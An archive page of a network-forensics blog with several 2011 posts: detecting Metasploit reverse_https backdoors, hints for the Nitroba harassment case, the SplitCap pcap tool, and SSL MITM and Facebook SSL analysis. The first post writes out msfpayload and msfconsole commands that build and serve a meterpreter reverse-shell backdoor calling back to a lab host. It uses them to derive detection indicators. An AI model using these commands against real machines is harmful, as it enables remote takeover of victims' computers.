
Posted by Erik Hjelmvik on Wednesday, 07 September 2011 09:22:00 (UTC/GMT)

Tags: #Netresec #Pcap-over-IP #Pcap #tcpdump #dumpcap #TCP #SSL #TLS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=119B126


How to detect reverse_https backdoors

back door OPEN

According to Mandiant 83% of all backdoors used by APT attackers are outgoing sessions to TCP port 80 or 443. The reason for why APT, as well as other attackers, are using these two ports is primarily because most organizations allow outgoing connections on TCP 80 as well as 443. Many organizations try to counter this by using web-proxies, which can inspect the HTTP traffic and block any malicious behavior. But TCP 443 cannot be inspected in this way since SSL relies on end-to-end encryption. By end-to-end encryption I mean that the session must be encrypted all the way from the server to the client without having any SSL proxies or MITM devices that break the encryption between the server and client. Inserting an SSL proxy would typically result in a certificate error in the client's web browser. TCP 443 is therefore left untouched on most organizations' Internet connections.

In Operation Aurora (where Google, Adobe and other high profile companies were attacked) the attackers used TCP 443 as a command and control protocol. When McAfee investigated the Aurora attacks they noticed that the traffic over TCP 443 wasn't SSL, but “a custom encrypted protocol”. In fact McAfee noted that the backdoor always started out with the client sending the following 20 bytes to a command and control (C&C) server:

ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff

Such poorly designed C&C protocols can easily be detected with static IDS signatures, which could simply match on the initial chunk of static data. Jaime Blasco actually wrote such a Snort signature for the "ET TROJAN Aurora C&C Checkin".

But what if the attacker uses a proper outgoing SSL session for the command and control backdoor? Such a feature would prevent most passive IDS and IPS products from detecting the backdoor, since the C&C sessions would have to be MITM'ed in order to reveal their contents.


Metasploit's reverse_https

The popular penetration testing framework Metasploit was recently extended with support for “reverse_https”. With reverse_https a pen tester can have compromised machines establish meterpreter backdoor connections inside of real SSL sessions.

I decided to try this functionality out for myself in order to see if these SSL backdoors can somehow be detected through analysis of the network traffic.

The first step was to generate a windows binary that will establish the SSL enabled meterpreter backdoor from the client:

# ./msfpayload windows/meterpreter/reverse_https LHOST=10.13.37.6 LPORT=443 X> /tmp/reverse_https_443.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_https
Length: 366
Options: {"LHOST"=>"10.13.37.6", "LPORT"=>"443"}

I then started msfconsole and activated the reverse_https meterpreter multihandler:

# ./msfconsole

=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 10.13.37.6
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTPS reverse handler on https://10.13.37.6:443/
[*] Starting the payload handler...

I thereafter copied the file “reverse_https_443.exe” to the victim Windows machine, and after executing it I cold see a proper SSL session being established from the victim to the metasploit machine:

Wireshark with reverse_https traffic

So what information could an incident responder or network forensics investigator use in order to reveal that this SSL session wasn't just normal HTTPS web surfing?

Well, something that many people aren't aware of is that the initial part of an SSL session isn't encrypted. In fact, there are some pieces of relevant information being transmitted in clear text, especially the X.509 certificate that is sent from the SSL server.

NetworkMiner extracts any X.509 certificates from SSL sessions going to TCP ports 443, 465, 563, 992, 993, 994, 995, 989, 990, 5223, 8170, 8443, 9001 and 9030. NetworkMiner Professional, on the other hand, automatically detects SSL/TLS sessions regardless of port number and can therefore extract X.509 certificate also from non-standard SSL ports. I therefore simply opened up some captured network traffic containing reverse_https traffic in NetworkMiner Professional in order to have it write the certificates to disk.

NetworkMiner with extracted certificates from Metasplot's reverse_https

From the three loaded pcap files above NetworkMiner also extracted three different X.509 certificates. Notice that the filename of the generated “.cer” file is built from the Common Name (CN), which should be the domain name of the SSL-enabled server. The CN's of the certs extracted from the reverse_https traffic does, however, not make any sense (they aren't real DNS hosts). I therefore used OpenSSL to look closer at the .cer files.

$ openssl x509 -inform DER -noout -text -in 9f.yr6pjr0szk.9totrpxqe.m.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -733922202 (-0x2bbec39a)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=AZ, L=xaprmubDjHJDPfEEWYeLx, O=zXUImDczrRMXYRMtucfHVqfLWrXm, CN=st.ua.r4pvl.gov
Validity
Not Before: Jun 21 08:17:11 2011 GMT
Not After : Jul 21 18:17:11 2011 GMT
Subject: C=US, ST=MD, L=CekyMPKEVYAWDNCB, O=BiPhXOWuQEEmjtZHTcbHIgEgudq, CN=9f.yr6pjr0szk.9totrpxqe.m7klwbakio.twm.gov
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:bd:04:1d:8b:63:c0:c5:65:5b:8e:5b:b8:58:57:
7f:f5:a6:bf:63:6a:c7:fd:e3:96:32:3b:e4:da:10:
d9:2a:c1:68:30:0b:7f:29:61:ee:16:98:3f:f1:11:
5c:5e:1a:63:fb:a5:09:21:71:08:9e:2f:6c:03:71:
17:29:0f:57:88:65:d1:76:67:82:19:7a:97:83:87:
aa:30:6b:9b:63:61:fc:19:d7:e9:3a:6b:1b:39:cf:
cc:e4:50:cb:e9:d9:c4:87:70:a9:51:fc:41:eb:bc:
4c:0d:ec:78:0b:63:bb:e2:93:9d:17:d8:4c:03:f2:
63:9e:0f:39:82:89:29:e9:87
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
DirName:/C=US/ST=AZ/L=xaprmubDjHJDPfEEWYeLx/O=zXUImDczrRMXYRMtucfHVqfLWrXm/CN=st.ua.r4pvl.gov
serial:D4:41:3C:66

Signature Algorithm: sha1WithRSAEncryption
88:37:53:9f:cb:39:0a:19:5e:6c:b7:3a:a7:03:f1:ce:ac:75:
e8:4d:57:03:2d:db:62:3c:91:44:b3:32:e8:69:11:a9:b7:31:
81:b3:5e:d2:16:a6:4b:9b:ad:be:a7:20:a8:db:0e:01:0c:f7:
c2:d2:e1:a9:f8:c5:aa:36:bf:f0:30:36:48:85:de:ad:80:a8:
63:37:b8:8c:07:b0:51:bb:7f:3b:d5:67:50:f6:7b:f2:d7:be:
19:b5:6b:db:13:43:f5:f0:3d:80:11:18:22:29:e9:47:fa:48:
d2:3d:8b:4a:f6:e7:8e:08:f5:38:bb:f1:63:26:1f:63:c0:3c:
90:40

$ openssl x509 -inform DER -noout -text -in da07.l.com.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -604506869 (-0x24080af5)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=VA, L=tigHlRKNLUgNdtZDYbrXg, O=bRzvgbfYRydWIzNIUcUuCCyaFGo, CN=tegl.9dlpdm2.klr3pqkh.gov
Validity
Not Before: Jun 24 07:30:49 2011 GMT
Not After : Jul 24 17:30:49 2011 GMT
Subject: C=US, ST=KS, L=DJakaGdxLmrsm, O=uRQXLZzhIMLNrwxFdGvfZaEwgZp, CN=da07.l.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:a6:a0:e7:b9:8c:e0:54:a4:c8:14:cc:cd:ca:af:
72:d5:74:cc:a8:ae:ce:f8:02:35:92:23:b8:99:53:
66:79:16:f3:64:25:d0:1e:2f:a9:78:53:c9:85:56:
cb:eb:ad:fe:1f:b3:87:b2:37:f3:fa:38:de:dd:b3:
53:ae:bd:94:50:4b:08:9d:bf:de:59:cf:a5:84:cb:
1d:80:1b:5e:d6:5a:17:6c:34:4e:49:82:82:85:28:
e7:10:fb:8c:0f:4b:93:c5:02:a9:2b:f6:eb:98:a7:
a6:89:27:97:e9:30:b0:75:2c:dc:0d:02:a7:69:e4:
63:01:a7:f1:d0:ea:c9:b7:8f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
DirName:/C=US/ST=VA/L=tigHlRKNLUgNdtZDYbrXg/O=bRzvgbfYRydWIzNIUcUuCCyaFGo/CN=tegl.9dlpdm2.klr3pqkh.gov
serial:DB:F7:F5:0B

Signature Algorithm: sha1WithRSAEncryption
96:1b:e1:0f:b4:ed:ea:8d:f5:4e:2c:20:1d:1d:d7:70:fd:74:
2d:1d:69:9e:55:93:b0:81:0f:a6:09:e2:3a:e2:28:61:f7:f9:
96:e6:a9:61:57:36:5e:83:99:b1:1b:c8:05:ce:d3:ee:f2:de:
ec:19:82:36:c4:59:43:b2:99:ab:e6:36:db:ce:f5:05:66:f5:
a5:11:d4:2f:68:30:a6:df:0c:7c:ba:e9:36:09:7f:7c:63:21:
45:42:2e:8b:93:fe:05:82:0d:83:5f:b1:45:d2:f5:96:1c:68:
c6:1a:ce:16:b1:06:c3:cc:50:21:e6:45:5b:7e:d7:99:26:de:
d5:05

$ openssl x509 -inform DER -noout -text -in imtb8yp.7kh.on4nyye.s8dgv.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: -578853718 (-0x22809b56)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=WA, L=ZtwHCLKrKdUtvYLQ, O=KHjTGIuuHFvGNbvFudaUfGztPoNf, CN=otppnldrg.r.hvxu.net
Validity
Not Before: Jun 24 07:36:40 2011 GMT
Not After : Jul 24 17:36:40 2011 GMT
Subject: C=US, ST=CO, L=gqKLcJHtJFmbSxVoIs, O=vJcarDAHufJWWmmVLdRxpEEbKS, CN=imtb8yp.7kh.on4nyye.s8dgvfq79s.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:b6:7a:83:44:14:e0:a5:63:5d:a2:0a:bf:e2:06:
f3:65:59:d4:7b:aa:14:45:72:29:36:41:78:20:cf:
6e:a4:c2:bd:1e:79:79:48:df:68:a0:24:30:36:cb:
15:f6:87:5c:74:da:68:59:84:69:3b:60:91:ee:13:
df:91:aa:b8:5a:56:a1:20:0d:12:0d:35:a0:3a:f0:
59:fa:c5:e7:44:9b:d6:c5:69:d1:c0:a2:bb:07:2d:
87:ca:3e:77:28:36:f3:f2:0e:db:d1:13:1b:5e:df:
89:54:e5:0b:9b:44:cd:dc:bf:f8:e3:72:63:64:84:
20:25:43:06:c0:10:c0:b1:a9
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Subject Key Identifier:
80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 Key Usage:
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
DirName:/C=US/ST=WA/L=ZtwHCLKrKdUtvYLQ/O=KHjTGIuuHFvGNbvFudaUfGztPoNf/CN=otppnldrg.r.hvxu.net
serial:DD:7F:64:AA

Signature Algorithm: sha1WithRSAEncryption
ac:2b:84:4b:34:74:4d:60:69:7b:07:fc:de:25:eb:60:01:5b:
3c:69:2c:42:d7:5b:49:19:27:65:55:61:07:3b:56:7b:db:90:
b4:2c:61:4b:2e:03:eb:72:ac:9e:20:4b:33:bf:dd:37:c3:8a:
04:9b:bb:5b:8e:09:1f:da:ef:1d:ea:de:a4:f6:87:ff:b0:a7:
26:70:00:42:71:11:17:bb:a5:7e:38:0b:c5:4e:88:c7:c4:35:
48:0e:0b:9e:48:a7:9e:9a:53:7e:20:40:27:1c:ef:03:e9:4b:
21:02:e1:34:09:f0:e7:97:74:bb:69:f0:b3:8c:bd:87:9a:2f:
87:7b

All three certificates seem to have randomly generated data in a lot of fields. The CN's of both the issuer and the certificate owner always seem to be in the following format: [RANDOM-DATA].com/gov/net. I also noticed that the validity period of all certificates was exactly one month. None of the certificates are, of course, not signed by any trusted CA (just as the case was with the TOR traffic I found in Richard Bejtlich's sample lab).

To sum up my findings, these are some indicators that can be used to detect Metasploit's reverse_https meterpreter sessions simply by passively looking at network traffic:

  • The certificate isn't signed by a trusted CA
  • The domain names are random (i.e. don't really exist)
  • Domain names end with .com, .gov or .net
  • Validity period is stated to be exactly one month

A more general approach would be to monitor all network traffic for certificates that are not signed by a trusted CA. Doing this would, of course, generate a lot of false positives, but I still believe it could be an effective part of a “Defensible Network Architecture”.

Posted by Erik Hjelmvik on Saturday, 09 July 2011 17:42:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1179EAC


Solution to the Nitroba case

UPDATE (June 16, 2011): This blog post has been modified in consent with Dr. Simson Garfinkel since the Nitroba case is actively being used in digital forensics classes. The actual solution to the case has now been replaced with hints and clues.

I recently received a request to help solve a network forensics case called "Nitroba University Harassment Scenario".

I regularly keep track of publicly available pcap files on the Internet, but this one was new to me. I therefore dived in and started analyzing the pcap file.

Case Description

The slides describing the Nitroba case present the following scenario:

You are a staff member at the Nitroba University Incident Response Team. Lily Tuckrige is teaching chemistry CHEM109 this summer at NSU. Tuckrige has been receiving harassing email at her personal email address.
  • Tuckrige's personal email is lilytuckrige@yahoo.com
  • She thinks that it is from one of the students in her class.
After locating the NAT:ed private network from where the harassment emails are sent from the scenario continues with:
"To find out what's going on, Nitroba's IT sets up a packet sniffer"
Good for us, this means we have some captured packets to analyze with NetworkMiner!

While the traffic was being sniffed Lily received a new email, this time with a link to a webpage with a message titled "you can't find us" and the content "and you can't hide from us. Stop teaching. Start running."

Harassment email

Clues to solving the Nitroba case

Here is a short writeup of hints and clues to how the Nitroba case can be solved:

A good starting point is to look for the session where the self-destruct email was being posted to the www.willselfdestruct.com website. One way to do this is to pick a couple of keywords from the message (such as "teaching" and "running") and add them to the Keywords tab of NetworkMiner. You will then have to press the "Reload Case Files" button in order to let NetworkMiner re-parse the nitroba.pcap file while looking for these keywords. Look in the Context column for text that seems to be from the self-destruct message.

Nitroba keywords teaching and running

You can also take some time to browse through the other tabs of NetworkMiner... Who knows, maybe the self-destruct message is even easier to find than you might expect? ;)

After you've identified the IP address of the machine from where the self-destruct message was sent you'll need to start looking for clues as to who is using the computer with that IP address. Here are a few suggestions for things to consider:

  • At what point in time was the self-destruct message sent?
  • Has the sender's IP address been used by one or several computers?
  • What online services (webmail / social media / instant messaging etc.) has the user of this IP address been logged into?
For the last bullet (online services) I recommend that you take a closer look at my Webmail Information Leakage blog to get even more hints.

Feedback to DEEP

I really enjoyed the Nitroba case, and thought it was a really good training case to be used for educational purposes. Thanks Naval Postgraduate School's Digital Evaluation and Exploitation (DEEP) group for creating this network forensics case!

Posted by Erik Hjelmvik on Thursday, 16 June 2011 18:31:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11601C3


Split or filter your PCAP files with SplitCap

SplitCap Hatchet

I've released version 1.6 of a tool called SplitCap today. SplitCap is a really fast PCAP file splitter, which can be used to split large pcap files based on for example IP addresses or sessions. You can also use SplitCap in order to filter out traffic to/from specific IP addresses or port numbers from a large pcap file.

The best thing about SplitCap is that it is FAST, much faster than the alternatives.


Split frames in a PCAP file into one file per IP

The -s switch can be used with arguments flow, host, hostpair or nosplit and tells SplitCap how the frames should be separated into the output pcap files.

SplitCap.exe -r huge.pcap -s host
When running the command above SplitCap creates a directory called "huge.pcap" and fills it with lots of pcap files -- one pcap file per identified IP-address (i.e. host). The generated files are named according to the IP address they contain traffic for. Here is how the files from huge.pcap are named:
huge.pcap.Host_128-183-104-74.pcap
huge.pcap.Host_129-33-21-40.pcap
huge.pcap.Host_129-70-4-55.pcap
huge.pcap.Host_129-82-103-72.pcap
huge.pcap.Host_130-212-20-225.pcap
huge.pcap.Host_130-212-255-255.pcap
huge.pcap.Host_131-107-39-4.pcap
huge.pcap.Host_131-107-8-43.pcap
huge.pcap.Host_216-109-126-56.pcap
huge.pcap.Host_64-236-24-4.pcap
huge.pcap.Host_80-67-66-6.pcap
huge.pcap.Host_fe80--202-2dff-fe38-85c0.pcap
huge.pcap.Host_ff02--2.pcap


Split frames based on session

What I believe is a unique feature of SplitCap is the ability to split a pcap file based on session, i.e. the frames from each TCP or UDP session are placed in a separate pcap file. The session split mode is the default one, but you can also use the -s session argument to tell SplitCap to use the session split mode.

SplitCap.exe -r huge.pcap -s session
The generated files get names describing the 5-tuple (proto, src_ip, src_port, dst_ip, dst_port) for which they contain traffic. Here is an example showing how the files can be named:
huge.pcap.TCP_128-183-104-74_80_192-168-21-249_32788.pcap
huge.pcap.TCP_128-183-104-74_80_192-168-21-249_32789.pcap
huge.pcap.TCP_80-67-66-6_80_192-168-22-22_49208.pcap
huge.pcap.TCP_80-67-66-6_80_192-168-22-22_49209.pcap
huge.pcap.UDP_130-212-20-225_1038_239-255-255-250_1900.pcap
huge.pcap.UDP_130-212-20-225_137_130-212-255-255_137.pcap
huge.pcap.UDP_130-212-20-225_138_130-212-255-255_138.pcap
Note that the session parameter tells SplitCap to join frames going both to and from the server into the same pcap file. If you instead wanna separate the two directions into separate pcap files, then you can use the -s flow switch.


Filter PCAP file on IP address

You can filter a pcap file based on address with the -ip switch like this:

SplitCap.exe -r huge.pcap -ip 128.183.104.74 -s nosplit
The -s nosplit argument is used to tell SplitCap not to split the pcap into one file per session. The generated file "huge.pcap.NoSplit.pcap" will only contain frames going to or from the IP address 128.183.104.74. You can also specify multiple IP addresses if you are interested in traffic to/from more than one IP address:
SplitCap.exe -r huge.pcap -ip 128.183.104.74 -ip 80.67.66.6 -s nosplit


Filter PCAP file on port number

What if you are only interested in DNS (UDP+TCP 53) and HTTP (TCP 80) traffic in a PCAP file? Well, then you can specify these port numbers as arguments to SplitCap like this:

SplitCap.exe -r huge.pcap -port 53 -port 80 -s nosplit
This command creates a file named "huge.pcap.NoSplit.pcap" that only contains the frames going to or from ports 53 and 80.


Extract application layer (L7) contents

A pretty cool thing with SplitCap is the ability to extract application (i.e. layer 7) data from a pcap file with the -y L7 argument. I'll use the file "dump.eth0.1059726000.pcap" from Defcon 11 here to demonstrate how to extract layer 7 payload from SMTP (TCP 25) traffic to files (one per session).

SplitCap.exe -r dump.eth0.1059726000.pcap -s session -port 25 -y L7
This command creates 10 files with a ".bin" file extention in the output directory. Each such bin file contains the application layer data for both directions (server->client and vice versa) from an SMTP session.

One of the generated SMTP session files is called "dump.eth0.1059726000.pcap.TCP_64-48-248-30_25_192-168-17-79_33443.bin" and looks something like this (I've redacted some of the contents):

220 smtp102.mail.sc5.yahoo.com ESMTP
[SMTP LOGIN REDACTED]
MAIL FROM: <[REDACTED]@nytimes.com>
250 ok
RCPT TO: <[REDACTED]@[REDACTED].senate.gov>
250 ok
DATA
354 go ahead
Reply-To: <[REDACTED]@nytimes.com>
From: "[REDACTED]" <[REDACTED]@nytimes.com>
To: "[REDACTED]" <[REDACTED]@[REDACTED].senate.gov>
Subject: RE: Just checking in
Date: Fri, 1 Aug 2003 16:28:25 -0400
Message-ID: [REDACTED]
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0700_01C35849.EE94EC60"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
In-Reply-To: [REDACTED]

This is a multi-part message in MIME format.

------=_NextPart_000_0700_01C35849.EE94EC60
Content-Type: text/plain;
charset="US-ASCII"
Content-Transfer-Encoding: 7bit

i am going to gulfport mississippi for the story. am in las vegas now. will
be in mississippi on sunday.
the guy who is really good on this and helped me actually was [REDACTED]
from uspirg. he put me in contact with a whistle blower.

[REDACTED]
-----Original Message-----
From: [REDACTED] [mailto:[REDACTED]@[REDACTED].senate.gov]
Sent: Friday, August 01, 2003 4:17 PM
To: [REDACTED]@nytimes.com
Subject: Just checking in


I wanted to make sure you are getting everything you need from us and to
check in on the story. Let me know if/when you want to sit down with
[REDACTED] on this. Hope all is well, [REDACTED]


SplitCap is FAST, really FAST!

So how fast is SplitCap at splitting or filtering a pcap file? Let's do a simple benchmark and compare it to the well known tool Tshark. Again, lets use the 189 MB file "dump.eth0.1059726000.pcap" from Defcon 11 for this example.

Filtering the file based on IP with Tshark takes 50 seconds (4 MB/s).

tshark.exe -r dump.eth0.1059726000.pcap -R "ip.addr eq 12.129.71.102" -w defcon11_tshark_filtered.pcap
Performing an equivalent filtering with SplitCap takes 3 seconds (63 MB/s). That is 16 times faster than running Tshark!
SplitCap.exe -r dump.eth0.1059726000.pcap -ip 12.129.71.102 -s nosplit

You can read more about other command line tools from Netresec in the following posts:

SplitCap can be downloaded from here: http://www.netresec.com/?page=SplitCap

Posted by Erik Hjelmvik on Sunday, 08 May 2011 17:41:00 (UTC/GMT)

Tags: #Netresec #pcap #filter

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1154402


Network Forensic Analysis of SSL MITM Attacks

Enigma-inspired rotor machine

The big news this past week has been the attack against Comodo where false certificates were created for popular domains like google.com, yahoo.com, live.com and skype.com.

Comodo is a Certificate Authority (CA) that your browser trusts, this means that these false certificates would be accepted by most browsers. But the attack was luckily discovered and the false certificates have now been revoked.

Someone performing a man-in-the-middle (MITM) attack on HTTPS traffic (i.e. HTTP over SSL) would be able to see all content of the encrypted communication, including transmitted usernames and passwords. Such MITM attacks can be performed by someone at your local WiFi connected coffee shop, your employer, your ISP or your government.

There are several ways users can detect MITM attacks, even when the certificate seems to be signed by a trusted CA. There are, for example, Firefox plugins available from Certificate Patrol as well as Perspectives that can help users by alerting on “new” certificates that have not been seen before.

But how would you go about doing forensic analysis of captured network traffic from a suspected MITM attack?

My suggestion is to load the pcap into NetworkMiner, which will automatically extract the X.509 certificates from the SSL streams to files with the “.cer” extension. These .cer files can be opened in MS Windows default certificate viewer for further inspection, simply right-click the extracted file in NetworkMiner and select “Open file”. I will in this blog post use the file “test1.pcap” from the “social nOtworking site” pcapr.net.

SSL capture file test1.pcap opened in NetworkMiner Professional
SSL capture file test1.pcap opened in NetworkMiner Professional

The first thing to inspect in a possible MITM attack is to verify that the IP and DNS name of the server seem to be correct. The next step is to look closer at the server's certificate, for example by opening the .cer file in Windows.

Extracted file mail.google.com.cer opened for inspection
Extracted file mail.google.com.cer opened for inspection

Self signed certificates, revoked certificates and certificates that are signed by non-trusted CAs are generally not to be trusted. Finding such certificates in a pcap file can suggest that an SSL MITM attack has taken place. In this case, however, the certificate for mail.google.com seems to be signed properly by Thawte.

The recent attack on Comodo teaches us that even certificates signed by a trusted CA can be rogue, we can therefore not fully trust this certificate even though it is signed by Thawte. An attacker who has hacked into Thawte could have been able to apply a valid Thawte signature to his own fake certificate for mail.google.com. There is also the possibility that some governments might use MITM and false SSL certificates to inspect the contents of encrypted communications. Christopher Soghoian and Sid Stamm's paper “Certified Lies: Detecting and Defeating Government Interception Attacks Against SSL” does for example start out with the following abstract:

“This paper introduces a new attack, the compelled certificate creation attack, in which government agencies compel a certificate authority to issue false SSL certificates that are then used by intelligence agencies to covertly intercept and hijack individuals' secure Web-based communications. We reveal alarming evidence that suggests that this attack is in active use. [...]”

This type of advanced MITM attack, where the certificate is signed by a trusted CA, can be detected by investigating whether or not other people across the internet are receiving the same certificate as you do for a particular website. The Perspectives Project, which is run by Carnegie Mellon School of Computer Science, provides a web based Perspectives Notary Demo that can be used to query their “network notary” servers to see what SSL certs they receive for a particular HTTPS website.

By submitting a query for SSL certificates on TCP 443 on mail.google.com to Perspectives I get the following response:

************************* cmu.ron.lcs.mit.edu:8080 *************************
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Mon Jan 24 11:02:00 2011
end : Sun Mar 27 03:11:18 2011

************************* convoke.ron.lcs.mit.edu:8080 *************************
Key = d9:4a:90:07:85:f6:83:cd:71:e4:a9:d1:2d:1b:e8:29
start: Mon Jul 6 20:59:14 2009
end : Wed Nov 18 03:15:36 2009
start: Wed Nov 25 15:17:24 2009
end : Thu Dec 10 03:21:52 2009
Key = 0b:d9:68:74:0c:fb:70:8a:91:77:6b:1a:2e:f3:50:2c
start: Wed Nov 18 03:15:37 2009
end : Wed Nov 25 15:17:23 2009
start: Thu Dec 10 03:21:53 2009
end : Wed Dec 23 03:29:22 2009
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Wed Dec 23 03:29:23 2009
end : Sat Mar 26 16:06:14 2011

************************* mvn.ron.lcs.mit.edu:8080 *************************
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Fri Jan 21 17:21:53 2011
end : Sun Mar 27 03:44:32 2011

************************* hostway.ron.lcs.mit.edu:8080 *************************
Key = d9:4a:90:07:85:f6:83:cd:71:e4:a9:d1:2d:1b:e8:29
start: Wed May 6 10:47:37 2009
end : Tue Nov 24 15:46:54 2009
start: Wed Nov 25 15:46:34 2009
end : Wed Dec 9 16:04:13 2009
Key = 0b:d9:68:74:0c:fb:70:8a:91:77:6b:1a:2e:f3:50:2c
start: Tue Nov 24 15:46:55 2009
end : Wed Nov 25 15:46:33 2009
start: Wed Dec 9 16:04:14 2009
end : Tue Dec 22 15:58:32 2009
Key = 52:12:a2:b1:27:e3:bb:cc:e5:f5:aa:bd:a1:a1:e6:f8
start: Tue Dec 22 15:58:33 2009
end : Sun Mar 27 03:41:06 2011

The 16-byte keys received from the four network notary servers are MD5 fingerprints for the certificates they have seen. The built in certificate viewer in Windows unfortunately only shows SHA1 fingerprints (20 bytes), we will therefore need to find some other way of computing an MD5 fingerprint of the certificate. I chose to do this by running OpenSSL in Cygwin, but installing Win32 OpenSSL works just as fine. Calculating the MD5 fingerprint of an SSL certificate with OpenSSL is done like this:

$ openssl x509 -inform DER -in mail.google.com.cer -noout -fingerprint -md5
MD5 Fingerprint=52:12:A2:B1:27:E3:BB:CC:E5:F5:AA:BD:A1:A1:E6:F8

As you can see this fingerprint was also provided by all the four network notaries, so we can assume that no SSL MITM attack was performed on the session between 10.33.134.158 and mail.google.com in test1.pcap.

If you wanna learn more about sniffing and analyzing SSL/TLS encrypted network traffic then I suggest you also read our recent blog posts titled Facebook, SSL and Network Forensics and Webmail-Information-Leakage.

Posted by Erik Hjelmvik on Sunday, 27 March 2011 13:31:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11310EE


Facebook, SSL and Network Forensics

Facebook announced earlier this week that they will start enabling the ability to encrypt all communication to their servers though HTTPS (i.e. HTTP over SSL). Until now it is only the login that has been encrypted, all other Facebook traffic has been sent in clear text.

I suppose it was the Firesheep plugin for Firefox that forced the Facebook developers into pushing out this encryption-for-all-traffic feature. My personal opinion is that this encryption feature is something that has been needed for a long time in order to protect the privacy of all the Facebook users. By looking at network traffic from a Facebook user it has been quite simple see what email address the Facebook account is registered with as well as to extract messages that have been sent to other users. This means that anyone who has been able to sniff a user's network traffic has also been able to extract this information. One simple way to get hold of Facebook network traffic would be to bring a laptop to the nearest coffee shop with free WiFi, Starbucks seems to be a popular choice for such activities.

It is, however, not only script kiddies leeching free WiFi at Starbucks who are wanna listen in on Facebook sessions. Incident response teams as well as law enforcement utilize network forensics regularly in order to investigate computer security incidents and criminal activity. The goal of performing network forensics on Facebook traffic could be to find out who is using a particular computer or to track a botnet or worm that is running its command and control channel over Facebook. In Mandiant's recent M-trends 2011 they note that APT are starting to utilize third-party Internet services, such as Facebook, for data theft as well as command and control. The fact that Facebook are going down the SSL route therefore limits the ability of investigators to perform network forensics.

There are of course way so capture network traffic even though it is encapsulated in an SSL stream. When investigating malware one can for example perform a man-in-the-middle attack by proxying all traffic trough a server controlled by the investigator. In cases when malware achieves SSL encryption by running stunnel, or some similar encryption service running on localhost, one can rely on a simple tool such as a socket proxy in order to dump the network traffic before it is encrypted.

Looking inside SSL encrypted streams is unfortunately much more difficult when you don't have full access to the SSL client computer. In order to decrypt SSL traffic one need to know the session key, which is typically unique for each individual session. And in order to get hold of the session key one need to be able to intercept and decode the key exchange at the beginning of the SSL session. There are multiple ways to perform the key exchange in SSL, but the most common ways are to either use RSA or to use ephemeral Diffie-Hellman key exchange. When RSA is used, and a passive listener is in possession of the server's private RSA key, one can actually decode the SSL traffic. Diffie-Hellman key exchange does, on the other hand, use a scheme where a new random private key is generated for each individual session. This prevents a third-party listener, who did not participate in the key exchange, from decoding the SSL session.

I took a quick look at Facebook's SSL encryption feature by sniffing traffic from an IE7 client establishing an HTTPS session towards Facebook. Running the pcap through tshark gives the following output from the client's SSL hello message:

Secure Socket Layer
SSL Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 123
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 119
